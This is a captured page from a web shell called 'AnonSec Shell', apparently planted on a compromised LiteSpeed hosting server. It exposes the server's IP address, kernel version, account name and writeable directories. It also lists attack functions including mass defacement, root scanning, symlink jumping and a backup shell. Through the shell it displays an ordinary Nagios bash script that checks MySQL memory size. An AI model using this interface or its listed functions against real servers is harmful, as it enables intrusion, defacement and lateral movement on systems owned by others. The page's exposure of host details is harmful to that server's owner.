AnonSec Shell
Server IP : 162.0.209.157  /  Your IP : 3.147.76.250   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium178.web-hosting.com 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : balaoqob ( 2395)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/lib64/nagios/plugins/nccustom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/lib64/nagios/plugins/nccustom/check_mysqld_msize.sh
#!/bin/bash
#####################################
# 2014/10/17, Eduard N.             #
#####################################

debug=0
max_size=16 #in GB

result=$(/bin/ps -C mysqld -o rss --no-header)
if [ -z "$result" ]
    then
        result=$(/bin/ps -C mariadbd -o rss --no-header)
        if [ -z "$result" ]
            then
            echo "Warning! Zero result"
            exit 3;
        fi
fi
if [ $debug = 1 ]
    then
        echo $result, $(($result/1048576)), $max_size
fi
if [ $(($result/1048576)) -lt $max_size ]
    then
        echo "Ok. $result KB";
        exit 0;
    else echo "Critical. RSS memory size: $result KB"
        exit 2;
    fi

Anon7 - 2022
AnonSec Team